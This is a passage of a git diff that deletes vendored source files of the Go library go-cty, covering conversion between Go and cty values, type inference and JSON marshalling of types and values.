cty.NullVal(cty.Tuple(elemTypes)), nil - } - - switch val.Kind() { - - case reflect.Slice: - if val.IsNil() { - return cty.NullVal(cty.Tuple(elemTypes)), nil - } - - if val.Len() != len(elemTypes) { - return cty.NilVal, path.NewErrorf("wrong number of elements %d; need %d", val.Len(), len(elemTypes)) - } - - if len(elemTypes) == 0 { - return cty.EmptyTupleVal, nil - } - - // While we work on our elements we'll temporarily grow - // path to give us a place to put our Index step. - path = append(path, cty.PathStep(nil)) - - vals := make([]cty.Value, len(elemTypes)) - for i, ety := range elemTypes { - var err error - - path[len(path)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(int64(i)), - } - - vals[i], err = toCtyValue(val.Index(i), ety, path) - if err != nil { - return cty.NilVal, err - } - } - - // Discard our extra path segment, retaining it as extra capacity - // for future appending to the path. - path = path[:len(path)-1] - - return cty.TupleVal(vals), nil - - case reflect.Struct: - fieldCount := val.Type().NumField() - if fieldCount != len(elemTypes) { - return cty.NilVal, path.NewErrorf("wrong number of struct fields %d; need %d", fieldCount, len(elemTypes)) - } - - if len(elemTypes) == 0 { - return cty.EmptyTupleVal, nil - } - - // While we work on our elements we'll temporarily grow - // path to give us a place to put our Index step. - path = append(path, cty.PathStep(nil)) - - vals := make([]cty.Value, len(elemTypes)) - for i, ety := range elemTypes { - var err error - - path[len(path)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(int64(i)), - } - - vals[i], err = toCtyValue(val.Field(i), ety, path) - if err != nil { - return cty.NilVal, err - } - } - - // Discard our extra path segment, retaining it as extra capacity - // for future appending to the path. - path = path[:len(path)-1] - - return cty.TupleVal(vals), nil - - default: - return cty.NilVal, path.NewErrorf("can't convert Go %s to %#v", val.Kind(), cty.Tuple(elemTypes)) - - } -} - -func toCtyCapsule(val reflect.Value, capsuleType cty.Type, path cty.Path) (cty.Value, error) { - if val = toCtyUnwrapPointer(val); !val.IsValid() { - return cty.NullVal(capsuleType), nil - } - - if val.Kind() != reflect.Ptr { - if !val.CanAddr() { - return cty.NilVal, path.NewErrorf("source value for capsule %#v must be addressable", capsuleType) - } - - val = val.Addr() - } - - if !val.Type().Elem().AssignableTo(capsuleType.EncapsulatedType()) { - return cty.NilVal, path.NewErrorf("value of type %T not compatible with capsule %#v", val.Interface(), capsuleType) - } - - return cty.CapsuleVal(capsuleType, val.Interface()), nil -} - -func toCtyDynamic(val reflect.Value, path cty.Path) (cty.Value, error) { - if val = toCtyUnwrapPointer(val); !val.IsValid() { - return cty.NullVal(cty.DynamicPseudoType), nil - } - - switch val.Kind() { - - case reflect.Struct: - if !val.Type().AssignableTo(valueType) { - return cty.NilVal, path.NewErrorf("can't convert Go %s dynamically; only cty.Value allowed", val.Type()) - } - - return val.Interface().(cty.Value), nil - - default: - return cty.NilVal, path.NewErrorf("can't convert Go %s dynamically; only cty.Value allowed", val.Kind()) - - } - -} - -func toCtyPassthrough(wrappedVal reflect.Value, wantTy cty.Type, path cty.Path) (cty.Value, error) { - if wrappedVal = toCtyUnwrapPointer(wrappedVal); !wrappedVal.IsValid() { - return cty.NullVal(wantTy), nil - } - - givenVal := wrappedVal.Interface().(cty.Value) - - val, err := convert.Convert(givenVal, wantTy) - if err != nil { - return cty.NilVal, path.NewErrorf("unsuitable value: %s", err) - } - return val, nil -} - -// toCtyUnwrapPointer is a helper for dealing with Go pointers. It has three -// possible outcomes: -// -// - Given value isn't a pointer, so it's just returned as-is. -// - Given value is a non-nil pointer, in which case it is dereferenced -// and the result returned. -// - Given value is a nil pointer, in which case an invalid value is returned. -// -// For nested pointer types, like **int, they are all dereferenced in turn -// until a non-pointer value is found, or until a nil pointer is encountered. -func toCtyUnwrapPointer(val reflect.Value) reflect.Value { - for val.Kind() == reflect.Ptr || val.Kind() == reflect.Interface { - if val.IsNil() { - return reflect.Value{} - } - - val = val.Elem() - } - - return val -} diff --git a/vendor/github.com/zclconf/go-cty/cty/gocty/out.go b/vendor/github.com/zclconf/go-cty/cty/gocty/out.go deleted file mode 100644 index e9c2599e6c..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/gocty/out.go +++ /dev/null @@ -1,686 +0,0 @@ -package gocty - -import ( - "math" - "math/big" - "reflect" - - "github.com/zclconf/go-cty/cty" -) - -// FromCtyValue assigns a cty.Value to a reflect.Value, which must be a pointer, -// using a fixed set of conversion rules. -// -// This function considers its audience to be the creator of the cty Value -// given, and thus the error messages it generates are (unlike with ToCtyValue) -// presented in cty terminology that is generally appropriate to return to -// end-users in applications where cty data structures are built from -// user-provided configuration. In particular this means that if incorrect -// target types are provided by the calling application the resulting error -// messages are likely to be confusing, since we assume that the given target -// type is correct and the cty.Value is where the error lies. -// -// If an error is returned, the target data structure may have been partially -// populated, but the degree to which this is true is an implementation -// detail that the calling application should not rely on. -// -// The function will panic if given a non-pointer as the Go value target, -// since that is considered to be a bug in the calling program. -func FromCtyValue(val cty.Value, target interface{}) error { - tVal := reflect.ValueOf(target) - if tVal.Kind() != reflect.Ptr { - panic("target value is not a pointer") - } - if tVal.IsNil() { - panic("target value is nil pointer") - } - - // 'path' starts off as empty but will grow for each level of recursive - // call we make, so by the time fromCtyValue returns it is likely to have - // unused capacity on the end of it, depending on how deeply-recursive - // the given cty.Value is. - path := make(cty.Path, 0) - return fromCtyValue(val, tVal, path) -} - -func fromCtyValue(val cty.Value, target reflect.Value, path cty.Path) error { - ty := val.Type() - - deepTarget := fromCtyPopulatePtr(target, false) - - // If we're decoding into a cty.Value then we just pass through the - // value as-is, to enable partial decoding. This is the only situation - // where unknown values are permitted. - if deepTarget.Kind() == reflect.Struct && deepTarget.Type().AssignableTo(valueType) { - deepTarget.Set(reflect.ValueOf(val)) - return nil - } - - // Lists and maps can be nil without indirection, but everything else - // requires a pointer and we set it immediately to nil. - // We also make an exception for capsule types because we want to handle - // pointers specially for these. - // (fromCtyList and fromCtyMap must therefore deal with val.IsNull, while - // other types can assume no nulls after this point.) - if val.IsNull() && !val.Type().IsListType() && !val.Type().IsMapType() && !val.Type().IsCapsuleType() { - target = fromCtyPopulatePtr(target, true) - if target.Kind() != reflect.Ptr { - return path.NewErrorf("null value is not allowed") - } - - target.Set(reflect.Zero(target.Type())) - return nil - } - - target = deepTarget - - if !val.IsKnown() { - return path.NewErrorf("value must be known") - } - - switch ty { - case cty.Bool: - return fromCtyBool(val, target, path) - case cty.Number: - return fromCtyNumber(val, target, path) - case cty.String: - return fromCtyString(val, target, path) - } - - switch { - case ty.IsListType(): - return fromCtyList(val, target, path) - case ty.IsMapType(): - return fromCtyMap(val, target, path) - case ty.IsSetType(): - return fromCtySet(val, target, path) - case ty.IsObjectType(): - return fromCtyObject(val, target, path) - case ty.IsTupleType(): - return fromCtyTuple(val, target, path) - case ty.IsCapsuleType(): - return fromCtyCapsule(val, target, path) - } - - // We should never fall out here; reaching here indicates a bug in this - // function. - return path.NewErrorf("unsupported source type %#v", ty) -} - -func fromCtyBool(val cty.Value, target reflect.Value, path cty.Path) error { - switch target.Kind() { - - case reflect.Bool: - target.SetBool(val.True()) - return nil - - default: - return likelyRequiredTypesError(path, target) - - } -} - -func fromCtyNumber(val cty.Value, target reflect.Value, path cty.Path) error { - bf := val.AsBigFloat() - - switch target.Kind() { - - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return fromCtyNumberInt(bf, target, path) - - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: - return fromCtyNumberUInt(bf, target, path) - - case reflect.Float32, reflect.Float64: - return fromCtyNumberFloat(bf, target, path) - - case reflect.Struct: - return fromCtyNumberBig(bf, target, path) - - default: - return likelyRequiredTypesError(path, target) - - } -} - -func fromCtyNumberInt(bf *big.Float, target reflect.Value, path cty.Path) error { - // Doing this with switch rather than << arithmetic because << with - // result >32-bits is not portable to 32-bit systems. - var min int64 - var max int64 - switch target.Type().Bits() { - case 8: - min = math.MinInt8 - max = math.MaxInt8 - case 16: - min = math.MinInt16 - max = math.MaxInt16 - case 32: - min = math.MinInt32 - max = math.MaxInt32 - case 64: - min = math.MinInt64 - max = math.MaxInt64 - default: - panic("weird number of bits in target int") - } - - iv, accuracy := bf.Int64() - if accuracy != big.Exact || iv < min || iv > max { - return path.NewErrorf("value must be a whole number, between %d and %d", min, max) - } - - target.SetInt(iv) - return nil -} - -func fromCtyNumberUInt(bf *big.Float, target reflect.Value, path cty.Path) error { - // Doing this with switch rather than << arithmetic because << with - // result >32-bits is not portable to 32-bit systems. - var max uint64 - switch target.Type().Bits() { - case 8: - max = math.MaxUint8 - case 16: - max = math.MaxUint16 - case 32: - max = math.MaxUint32 - case 64: - max = math.MaxUint64 - default: - panic("weird number of bits in target uint") - } - - iv, accuracy := bf.Uint64() - if accuracy != big.Exact || iv > max { - return path.NewErrorf("value must be a whole number, between 0 and %d inclusive", max) - } - - target.SetUint(iv) - return nil -} - -func fromCtyNumberFloat(bf *big.Float, target reflect.Value, path cty.Path) error { - switch target.Kind() { - case reflect.Float32, reflect.Float64: - fv, accuracy := bf.Float64() - if accuracy != big.Exact { - // We allow the precision to be truncated as part of our conversion, - // but we don't want to silently introduce infinities. - if math.IsInf(fv, 0) { - return path.NewErrorf("value must be between %f and %f inclusive", -math.MaxFloat64, math.MaxFloat64) - } - } - target.SetFloat(fv) - return nil - default: - panic("unsupported kind of float") - } -} - -func fromCtyNumberBig(bf *big.Float, target reflect.Value, path cty.Path) error { - switch { - - case bigFloatType.ConvertibleTo(target.Type()): - // Easy! - target.Set(reflect.ValueOf(bf).Elem().Convert(target.Type())) - return nil - - case bigIntType.ConvertibleTo(target.Type()): - bi, accuracy := bf.Int(nil) - if accuracy != big.Exact { - return path.NewErrorf("value must be a whole number") - } - target.Set(reflect.ValueOf(bi).Elem().Convert(target.Type())) - return nil - - default: - return likelyRequiredTypesError(path, target) - } -} - -func fromCtyString(val cty.Value, target reflect.Value, path cty.Path) error { - switch target.Kind() { - case reflect.String: - target.SetString(val.AsString()) - return nil - - default: - return likelyRequiredTypesError(path, target) - - } -} - -func fromCtyList(val cty.Value, target reflect.Value, path cty.Path) error { - switch target.Kind() { - - case reflect.Slice: - if val.IsNull() { - target.Set(reflect.Zero(target.Type())) - return nil - } - - length := val.LengthInt() - tv := reflect.MakeSlice(target.Type(), length, length) - - path = append(path, nil) - - i := 0 - var err error - val.ForEachElement(func(key cty.Value, val cty.Value) bool { - path[len(path)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(int64(i)), - } - - targetElem := tv.Index(i) - err = fromCtyValue(val, targetElem, path) - if err != nil { - return true - } - - i++ - return false - }) - if err != nil { - return err - } - - path = path[:len(path)-1] - - target.Set(tv) - return nil - - case reflect.Array: - if val.IsNull() { - return path.NewErrorf("null value is not allowed") - } - - length := val.LengthInt() - if length != target.Len() { - return path.NewErrorf("must be a list of length %d", target.Len()) - } - - path = append(path, nil) - - i := 0 - var err error - val.ForEachElement(func(key cty.Value, val cty.Value) bool { - path[len(path)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(int64(i)), - } - - targetElem := target.Index(i) - err = fromCtyValue(val, targetElem, path) - if err != nil { - return true - } - - i++ - return false - }) - if err != nil { - return err - } - - path = path[:len(path)-1] - - return nil - - default: - return likelyRequiredTypesError(path, target) - - } -} - -func fromCtyMap(val cty.Value, target reflect.Value, path cty.Path) error { - - switch target.Kind() { - - case reflect.Map: - if val.IsNull() { - target.Set(reflect.Zero(target.Type())) - return nil - } - - tv := reflect.MakeMap(target.Type()) - et := target.Type().Elem() - - path = append(path, nil) - - var err error - val.ForEachElement(func(key cty.Value, val cty.Value) bool { - path[len(path)-1] = cty.IndexStep{ - Key: key, - } - - ks := key.AsString() - - targetElem := reflect.New(et) - err = fromCtyValue(val, targetElem, path) - - tv.SetMapIndex(reflect.ValueOf(ks), targetElem.Elem()) - - return err != nil - }) - if err != nil { - return err - } - - path = path[:len(path)-1] - - target.Set(tv) - return nil - - default: - return likelyRequiredTypesError(path, target) - - } -} - -func fromCtySet(val cty.Value, target reflect.Value, path cty.Path) error { - switch target.Kind() { - - case reflect.Slice: - if val.IsNull() { - target.Set(reflect.Zero(target.Type())) - return nil - } - - length := val.LengthInt() - tv := reflect.MakeSlice(target.Type(), length, length) - - i := 0 - var err error - val.ForEachElement(func(key cty.Value, val cty.Value) bool { - targetElem := tv.Index(i) - err = fromCtyValue(val, targetElem, path) - if err != nil { - return true - } - - i++ - return false - }) - if err != nil { - return err - } - - target.Set(tv) - return nil - - case reflect.Array: - if val.IsNull() { - return path.NewErrorf("null value is not allowed") - } - - length := val.LengthInt() - if length != target.Len() { - return path.NewErrorf("must be a set of length %d", target.Len()) - } - - i := 0 - var err error - val.ForEachElement(func(key cty.Value, val cty.Value) bool { - targetElem := target.Index(i) - err = fromCtyValue(val, targetElem, path) - if err != nil { - return true - } - - i++ - return false - }) - if err != nil { - return err - } - - return nil - - // TODO: decode into set.Set instance - - default: - return likelyRequiredTypesError(path, target) - - } -} - -func fromCtyObject(val cty.Value, target reflect.Value, path cty.Path) error { - - switch target.Kind() { - - case reflect.Struct: - - attrTypes := val.Type().AttributeTypes() - targetFields := structTagIndices(target.Type()) - - path = append(path, nil) - - for k, i := range targetFields { - if _, exists := attrTypes[k]; !exists { - // If the field in question isn't able to represent nil, - // that's an error. - fk := target.Field(i).Kind() - switch fk { - case reflect.Ptr, reflect.Slice, reflect.Map, reflect.Interface: - // okay - default: - return path.NewErrorf("missing required attribute %q", k) - } - } - } - - for k := range attrTypes { - path[len(path)-1] = cty.GetAttrStep{ - Name: k, - } - - fieldIdx, exists := targetFields[k] - if !exists { - return path.NewErrorf("unsupported attribute %q", k) - } - - ev := val.GetAttr(k) - - targetField := target.Field(fieldIdx) - err := fromCtyValue(ev, targetField, path) - if err != nil { - return err - } - } - - path = path[:len(path)-1] - - return nil - - default: - return likelyRequiredTypesError(path, target) - - } -} - -func fromCtyTuple(val cty.Value, target reflect.Value, path cty.Path) error { - - switch target.Kind() { - - case reflect.Struct: - - elemTypes := val.Type().TupleElementTypes() - fieldCount := target.Type().NumField() - - if fieldCount != len(elemTypes) { - return path.NewErrorf("a tuple of %d elements is required", fieldCount) - } - - path = append(path, nil) - - for i := range elemTypes { - path[len(path)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(int64(i)), - } - - ev := val.Index(cty.NumberIntVal(int64(i))) - - targetField := target.Field(i) - err := fromCtyValue(ev, targetField, path) - if err != nil { - return err - } - } - - path = path[:len(path)-1] - - return nil - - default: - return likelyRequiredTypesError(path, target) - - } -} - -func fromCtyCapsule(val cty.Value, target reflect.Value, path cty.Path) error { - - if target.Kind() == reflect.Ptr { - // Walk through indirection until we get to the last pointer, - // which we might set to null below. - target = fromCtyPopulatePtr(target, true) - - if val.IsNull() { - target.Set(reflect.Zero(target.Type())) - return nil - } - - // Since a capsule contains a pointer to an object, we'll preserve - // that pointer on the way out and thus allow the caller to recover - // the original object, rather than a copy of it. - - eType := val.Type().EncapsulatedType() - - if !eType.AssignableTo(target.Elem().Type()) { - // Our interface contract promises that we won't expose Go - // implementation details in error messages, so we need to keep - // this vague. This can only arise if a calling application has - // more than one capsule type in play and a user mixes them up. - return path.NewErrorf("incorrect type %s", val.Type().FriendlyName()) - } - - target.Set(reflect.ValueOf(val.EncapsulatedValue())) - - return nil - } else { - if val.IsNull() { - return path.NewErrorf("null value is not allowed") - } - - // If our target isn't a pointer then we will attempt to copy - // the encapsulated value into it. - - eType := val.Type().EncapsulatedType() - - if !eType.AssignableTo(target.Type()) { - // Our interface contract promises that we won't expose Go - // implementation details in error messages, so we need to keep - // this vague. This can only arise if a calling application has - // more than one capsule type in play and a user mixes them up. - return path.NewErrorf("incorrect type %s", val.Type().FriendlyName()) - } - - // We know that EncapsulatedValue is always a pointer, so we - // can safely call .Elem on its reflect.Value. - target.Set(reflect.ValueOf(val.EncapsulatedValue()).Elem()) - - return nil - } - -} - -// fromCtyPopulatePtr recognizes when target is a pointer type and allocates -// a value to assign to that pointer, which it returns. -// -// If the given value has multiple levels of indirection, like **int, these -// will be processed in turn so that the return value is guaranteed to be -// a non-pointer. -// -// As an exception, if decodingNull is true then the returned value will be -// the final level of pointer, if any, so that the caller can assign it -// as nil to represent a null value. If the given target value is not a pointer -// at all then the returned value will be just the given target, so the caller -// must test if the returned value is a pointer before trying to assign nil -// to it. -func fromCtyPopulatePtr(target reflect.Value, decodingNull bool) reflect.Value { - for { - if target.Kind() == reflect.Interface && !target.IsNil() { - e := target.Elem() - if e.Kind() == reflect.Ptr && !e.IsNil() && (!decodingNull || e.Elem().Kind() == reflect.Ptr) { - target = e - } - } - - if target.Kind() != reflect.Ptr { - break - } - - // Stop early if we're decodingNull and we've found our last indirection - if target.Elem().Kind() != reflect.Ptr && decodingNull && target.CanSet() { - break - } - - if target.IsNil() { - target.Set(reflect.New(target.Type().Elem())) - } - - target = target.Elem() - } - return target -} - -// likelyRequiredTypesError returns an error that states which types are -// acceptable by making some assumptions about what types we support for -// each target Go kind. It's not a precise science but it allows us to return -// an error message that is cty-user-oriented rather than Go-oriented. -// -// Generally these error messages should be a matter of last resort, since -// the calling application should be validating user-provided value types -// before decoding anyway. -func likelyRequiredTypesError(path cty.Path, target reflect.Value) error { - switch target.Kind() { - - case reflect.Bool: - return path.NewErrorf("bool value is required") - - case reflect.String: - return path.NewErrorf("string value is required") - - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - fallthrough - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: - fallthrough - case reflect.Float32, reflect.Float64: - return path.NewErrorf("number value is required") - - case reflect.Slice, reflect.Array: - return path.NewErrorf("list or set value is required") - - case reflect.Map: - return path.NewErrorf("map or object value is required") - - case reflect.Struct: - switch { - - case target.Type().AssignableTo(bigFloatType) || target.Type().AssignableTo(bigIntType): - return path.NewErrorf("number value is required") - - case target.Type().AssignableTo(setType): - return path.NewErrorf("set or list value is required") - - default: - return path.NewErrorf("object or tuple value is required") - - } - - default: - // We should avoid getting into this path, since this error - // message is rather useless. - return path.NewErrorf("incorrect type") - - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/gocty/type_implied.go b/vendor/github.com/zclconf/go-cty/cty/gocty/type_implied.go deleted file mode 100644 index ce4c8f1e9f..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/gocty/type_implied.go +++ /dev/null @@ -1,108 +0,0 @@ -package gocty - -import ( - "reflect" - - "github.com/zclconf/go-cty/cty" -) - -// ImpliedType takes an arbitrary Go value (as an interface{}) and attempts -// to find a suitable cty.Type instance that could be used for a conversion -// with ToCtyValue. -// -// This allows -- for simple situations at least -- types to be defined just -// once in Go and the cty types derived from the Go types, but in the process -// it makes some assumptions that may be undesirable so applications are -// encouraged to build their cty types directly if exacting control is -// required. -// -// Not all Go types can be represented as cty types, so an error may be -// returned which is usually considered to be a bug in the calling program. -// In particular, ImpliedType will never use capsule types in its returned -// type, because it cannot know the capsule types supported by the calling -// program. -func ImpliedType(gv interface{}) (cty.Type, error) { - rt := reflect.TypeOf(gv) - var path cty.Path - return impliedType(rt, path) -} - -func impliedType(rt reflect.Type, path cty.Path) (cty.Type, error) { - switch rt.Kind() { - - case reflect.Ptr: - return impliedType(rt.Elem(), path) - - // Primitive types - case reflect.Bool: - return cty.Bool, nil - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return cty.Number, nil - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: - return cty.Number, nil - case reflect.Float32, reflect.Float64: - return cty.Number, nil - case reflect.String: - return cty.String, nil - - // Collection types - case reflect.Slice: - path := append(path, cty.IndexStep{Key: cty.UnknownVal(cty.Number)}) - ety, err := impliedType(rt.Elem(), path) - if err != nil { - return cty.NilType, err - } - return cty.List(ety), nil - case reflect.Map: - if !stringType.AssignableTo(rt.Key()) { - return cty.NilType, path.NewErrorf("no cty.Type for %s (must have string keys)", rt) - } - path := append(path, cty.IndexStep{Key: cty.UnknownVal(cty.String)}) - ety, err := impliedType(rt.Elem(), path) - if err != nil { - return cty.NilType, err - } - return cty.Map(ety), nil - - // Structural types - case reflect.Struct: - return impliedStructType(rt, path) - - default: - return cty.NilType, path.NewErrorf("no cty.Type for %s", rt) - } -} - -func impliedStructType(rt reflect.Type, path cty.Path) (cty.Type, error) { - if valueType.AssignableTo(rt) { - // Special case: cty.Value represents cty.DynamicPseudoType, for - // type conformance checking. - return cty.DynamicPseudoType, nil - } - - fieldIdxs := structTagIndices(rt) - if len(fieldIdxs) == 0 { - return cty.NilType, path.NewErrorf("no cty.Type for %s (no cty field tags)", rt) - } - - atys := make(map[string]cty.Type, len(fieldIdxs)) - - { - // Temporary extension of path for attributes - path := append(path, nil) - - for k, fi := range fieldIdxs { - path[len(path)-1] = cty.GetAttrStep{Name: k} - - ft := rt.Field(fi).Type - aty, err := impliedType(ft, path) - if err != nil { - return cty.NilType, err - } - - atys[k] = aty - } - } - - return cty.Object(atys), nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/helper.go b/vendor/github.com/zclconf/go-cty/cty/helper.go deleted file mode 100644 index 1b88e9fa08..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/helper.go +++ /dev/null @@ -1,99 +0,0 @@ -package cty - -import ( - "fmt" -) - -// anyUnknown is a helper to easily check if a set of values contains any -// unknowns, for operations that short-circuit to return unknown in that case. -func anyUnknown(values ...Value) bool { - for _, val := range values { - if val.v == unknown { - return true - } - } - return false -} - -// typeCheck tests whether all of the given values belong to the given type. -// If the given types are a mixture of the given type and the dynamic -// pseudo-type then a short-circuit dynamic value is returned. If the given -// values are all of the correct type but at least one is unknown then -// a short-circuit unknown value is returned. If any other types appear then -// an error is returned. Otherwise (finally!) the result is nil, nil. -func typeCheck(required Type, ret Type, values ...Value) (shortCircuit *Value, err error) { - hasDynamic := false - hasUnknown := false - - for i, val := range values { - if val.ty == DynamicPseudoType { - hasDynamic = true - continue - } - - if !val.Type().Equals(required) { - return nil, fmt.Errorf( - "type mismatch: want %s but value %d is %s", - required.FriendlyName(), - i, val.ty.FriendlyName(), - ) - } - - if val.v == unknown { - hasUnknown = true - } - } - - if hasDynamic { - return &DynamicVal, nil - } - - if hasUnknown { - ret := UnknownVal(ret) - return &ret, nil - } - - return nil, nil -} - -// mustTypeCheck is a wrapper around typeCheck that immediately panics if -// any error is returned. -func mustTypeCheck(required Type, ret Type, values ...Value) *Value { - shortCircuit, err := typeCheck(required, ret, values...) - if err != nil { - panic(err) - } - return shortCircuit -} - -// shortCircuitForceType takes the return value from mustTypeCheck and -// replaces it with an unknown of the given type if the original value was -// DynamicVal. -// -// This is useful for operations that are specified to always return a -// particular type, since then a dynamic result can safely be "upgrade" to -// a strongly-typed unknown, which then allows subsequent operations to -// be actually type-checked. -// -// It is safe to use this only if the operation in question is defined as -// returning either a value of the given type or panicking, since we know -// then that subsequent operations won't run if the operation panics. -// -// If the given short-circuit value is *not* DynamicVal then it must be -// of the given type, or this function will panic. -func forceShortCircuitType(shortCircuit *Value, ty Type) *Value { - if shortCircuit == nil { - return nil - } - - if shortCircuit.ty == DynamicPseudoType { - ret := UnknownVal(ty) - return &ret - } - - if !shortCircuit.ty.Equals(ty) { - panic("forceShortCircuitType got value of wrong type") - } - - return shortCircuit -} diff --git a/vendor/github.com/zclconf/go-cty/cty/json.go b/vendor/github.com/zclconf/go-cty/cty/json.go deleted file mode 100644 index c421a62ed9..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/json.go +++ /dev/null @@ -1,176 +0,0 @@ -package cty - -import ( - "bytes" - "encoding/json" - "fmt" -) - -// MarshalJSON is an implementation of json.Marshaler that allows Type -// instances to be serialized as JSON. -// -// All standard types can be serialized, but capsule types cannot since there -// is no way to automatically recover the original pointer and capsule types -// compare by equality. -func (t Type) MarshalJSON() ([]byte, error) { - switch impl := t.typeImpl.(type) { - case primitiveType: - switch impl.Kind { - case primitiveTypeBool: - return []byte{'"', 'b', 'o', 'o', 'l', '"'}, nil - case primitiveTypeNumber: - return []byte{'"', 'n', 'u', 'm', 'b', 'e', 'r', '"'}, nil - case primitiveTypeString: - return []byte{'"', 's', 't', 'r', 'i', 'n', 'g', '"'}, nil - default: - panic("unknown primitive type kind") - } - case typeList, typeMap, typeSet: - buf := &bytes.Buffer{} - etyJSON, err := t.ElementType().MarshalJSON() - if err != nil { - return nil, err - } - buf.WriteRune('[') - switch impl.(type) { - case typeList: - buf.WriteString(`"list"`) - case typeMap: - buf.WriteString(`"map"`) - case typeSet: - buf.WriteString(`"set"`) - } - buf.WriteRune(',') - buf.Write(etyJSON) - buf.WriteRune(']') - return buf.Bytes(), nil - case typeObject: - buf := &bytes.Buffer{} - atysJSON, err := json.Marshal(t.AttributeTypes()) - if err != nil { - return nil, err - } - buf.WriteString(`["object",`) - buf.Write(atysJSON) - buf.WriteRune(']') - return buf.Bytes(), nil - case typeTuple: - buf := &bytes.Buffer{} - etysJSON, err := json.Marshal(t.TupleElementTypes()) - if err != nil { - return nil, err - } - buf.WriteString(`["tuple",`) - buf.Write(etysJSON) - buf.WriteRune(']') - return buf.Bytes(), nil - case pseudoTypeDynamic: - return []byte{'"', 'd', 'y', 'n', 'a', 'm', 'i', 'c', '"'}, nil - case *capsuleType: - return nil, fmt.Errorf("type not allowed: %s", t.FriendlyName()) - default: - // should never happen - panic("unknown type implementation") - } -} - -// UnmarshalJSON is the opposite of MarshalJSON. See the documentation of -// MarshalJSON for information on the limitations of JSON serialization of -// types. -func (t *Type) UnmarshalJSON(buf []byte) error { - r := bytes.NewReader(buf) - dec := json.NewDecoder(r) - - tok, err := dec.Token() - if err != nil { - return err - } - - switch v := tok.(type) { - case string: - switch v { - case "bool": - *t = Bool - case "number": - *t = Number - case "string": - *t = String - case "dynamic": - *t = DynamicPseudoType - default: - return fmt.Errorf("invalid primitive type name %q", v) - } - - if dec.More() { - return fmt.Errorf("extraneous data after type description") - } - return nil - case json.Delim: - if rune(v) != '[' { - return fmt.Errorf("invalid complex type description") - } - - tok, err = dec.Token() - if err != nil { - return err - } - - kind, ok := tok.(string) - if !ok { - return fmt.Errorf("invalid complex type kind name") - } - - switch kind { - case "list": - var ety Type - err = dec.Decode(&ety) - if err != nil { - return err - } - *t = List(ety) - case "map": - var ety Type - err = dec.Decode(&ety) - if err != nil { - return err - } - *t = Map(ety) - case "set": - var ety Type - err = dec.Decode(&ety) - if err != nil { - return err - } - *t = Set(ety) - case "object": - var atys map[string]Type - err = dec.Decode(&atys) - if err != nil { - return err - } - *t = Object(atys) - case "tuple": - var etys []Type - err = dec.Decode(&etys) - if err != nil { - return err - } - *t = Tuple(etys) - default: - return fmt.Errorf("invalid complex type kind name") - } - - tok, err = dec.Token() - if err != nil { - return err - } - if delim, ok := tok.(json.Delim); !ok || rune(delim) != ']' || dec.More() { - return fmt.Errorf("unexpected extra data in type description") - } - - return nil - - default: - return fmt.Errorf("invalid type description") - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/json/doc.go b/vendor/github.com/zclconf/go-cty/cty/json/doc.go deleted file mode 100644 index 8916513d67..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/json/doc.go +++ /dev/null @@ -1,11 +0,0 @@ -// Package json provides functions for serializing cty types and values in -// JSON format, and for decoding them again. -// -// Since the cty type system is a superset of the JSON type system, -// round-tripping through JSON is lossy unless type information is provided -// both at encoding time and decoding time. Callers of this package are -// therefore suggested to define their expected structure as a cty.Type -// and pass it in consistently both when encoding and when decoding, though -// default (type-lossy) behavior is provided for situations where the precise -// representation of the data is not significant. -package json diff --git a/vendor/github.com/zclconf/go-cty/cty/json/marshal.go b/vendor/github.com/zclconf/go-cty/cty/json/marshal.go deleted file mode 100644 index 75e02577b1..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/json/marshal.go +++ /dev/null @@ -1,193 +0,0 @@ -package json - -import ( - "bytes" - "encoding/json" - "sort" - - "github.com/zclconf/go-cty/cty" -) - -func marshal(val cty.Value, t cty.Type, path cty.Path, b *bytes.Buffer) error { - if val.IsMarked() { - return path.NewErrorf("value has marks, so it cannot be seralized") - } - - // If we're going to decode as DynamicPseudoType then we need to save - // dynamic type information to recover the real type. - if t == cty.DynamicPseudoType && val.Type() != cty.DynamicPseudoType { - return marshalDynamic(val, path, b) - } - - if val.IsNull() { - b.WriteString("null") - return nil - } - - if !val.IsKnown() { - return path.NewErrorf("value is not known") - } - - // The caller should've guaranteed that the given val is conformant with - // the given type t, so we'll proceed under that assumption here. - - switch { - case t.IsPrimitiveType(): - switch t { - case cty.String: - json, err := json.Marshal(val.AsString()) - if err != nil { - return path.NewErrorf("failed to serialize value: %s", err) - } - b.Write(json) - return nil - case cty.Number: - if val.RawEquals(cty.PositiveInfinity) || val.RawEquals(cty.NegativeInfinity) { - return path.NewErrorf("cannot serialize infinity as JSON") - } - b.WriteString(val.AsBigFloat().Text('f', -1)) - return nil - case cty.Bool: - if val.True() { - b.WriteString("true") - } else { - b.WriteString("false") - } - return nil - default: - panic("unsupported primitive type") - } - case t.IsListType(), t.IsSetType(): - b.WriteRune('[') - first := true - ety := t.ElementType() - it := val.ElementIterator() - path := append(path, nil) // local override of 'path' with extra element - for it.Next() { - if !first { - b.WriteRune(',') - } - ek, ev := it.Element() - path[len(path)-1] = cty.IndexStep{ - Key: ek, - } - err := marshal(ev, ety, path, b) - if err != nil { - return err - } - first = false - } - b.WriteRune(']') - return nil - case t.IsMapType(): - b.WriteRune('{') - first := true - ety := t.ElementType() - it := val.ElementIterator() - path := append(path, nil) // local override of 'path' with extra element - for it.Next() { - if !first { - b.WriteRune(',') - } - ek, ev := it.Element() - path[len(path)-1] = cty.IndexStep{ - 